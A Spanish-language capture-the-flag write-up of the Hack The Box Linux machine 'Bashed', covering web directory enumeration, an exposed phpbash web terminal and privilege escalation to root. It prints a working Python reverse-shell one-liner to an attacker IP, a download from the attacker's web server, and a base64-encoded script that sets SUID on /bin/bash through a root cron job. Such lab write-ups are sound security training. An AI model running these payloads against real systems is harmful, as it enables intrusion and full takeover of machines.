Writeup HTB - Maquina Bashed

2 minute read

Bashed

Resumen

La maquina Bashed es una maquina linux - Easy, que nos presenta una aplicacion web que ejecuta comandos en el servidor modo terminal web, aprovechamos esto para obtener una reverse shell y ejecutamos commandos como el user www-data, posteriormente escalamos privilegios como el usuario scriptmanager haciendo uso de los permisos de sudo. Finalmente logramos escalar privilegios como el usuario root modificando el archivo test.py ya que habia una tarea que ejecutaba dicho archivo como usuario root.

Scan Nmap

Untitled

Pagina web - Port 80

bueno ya que tenemos solo un puerto esta maquina, revisemos la pagina web para ver que contiene.

Untitled

vemos que tenemos una aplicacion llamada phpbash, si acedemos al enlace de la pagina vemos una url en la imagen

Untitled

intentamos acceder a dicha url pero sin exito

Untitled

tambien vemos que nos proporcionan un repositorio de la aplicacion

Untitled

por lo tanto hare un escaneo de directorios con dirsearch

bashed # ❯ dirsearch -u http://10.129.160.128 -w /usr/share/wordlists/dirb/common.txt -f -e php,html,js,txt,save,bak

Untitled

entonces me interesa la ruta dev y vemos que contiene los archivos del repositorio

Untitled

dicha aplicacion nos permite ejecutar comandos en el servidor de una terminal web

Untitled

Reverse shell - User www-data

asi que aprovecharemos la ejecucion de comandos para obtener una reverse shell, primero dejaremos el puerto 443 en escucha con netcat

Untitled

y agremos el siguiente payload a la aplicacion vulnerable

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.54",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

logrando conectarnos siendo el user www-data

Untitled

Escalacion de privilegios - user scripts

revisando los permisos de sudoers, encontramos que podemos ejecutar cualquier comando con el user scriptmanager

www-data@bashed:/tmp$ sudo -l

Untitled

asi que obtenemos una sesion con dicho usuario de la siguiente manera

www-data@bashed:/tmp$ sudo -u scriptmanager /bin/bash

Untitled

Escalacion de privilegios - user root

para escalar privilegios descargare en la maquina victima la herramienta pspy64, ya que dicha herramienta monitoreara todo los procesos y tareas que se ejecuten en la maquina victima. Asi pues para realizar este cometido crearemos un servidor web en python

bashed # > python3 -m http.server 80

Untitled

y descargamos nuestra herramienta de la siguiente manera

www-data@bashed:/tmp$ wget http://10.10.14.54/pspy64

Untitled

ejecutamos nuestra herramienta pspy64

scriptmanager@bashed:/scripts$ chmod +x pspy64 
scriptmanager@bashed:/scripts$ ./pspy64

Untitled

notamos que se esta ejecutando un script test.py

Untitled

si revisamos la carpeta de dicho archivo vemos que podriamos modificar test.py para ejecutar algun comando que nos ayude a escalar privilegios a root

Untitled

Por lo tanto modificaremos test.py de esta manera para otorgar permisos de suid al binario bash de esa manera podremos lograr ser root!!

scriptmanager@bashed:/scripts$ echo aW1wb3J0IG9zCm9zLnN5c3RlbSgnY2htb2QgdStzIC9iaW4vYmFzaCcp | base64 -d > test.py
scriptmanager@bashed:/scripts$ cat test.py 
import os
os.system('chmod u+s /bin/bash')

esperamos un momento y revisamos los permisos de /bin/bash, vemos que todo funciono

Untitled

asi que ejecutamos /bin/bash para ser root!!

Untitled

gracias por ver este writeup, espero que te hayas divertido tanto como yo me diverti haciendolo. Nos vemos Abeljm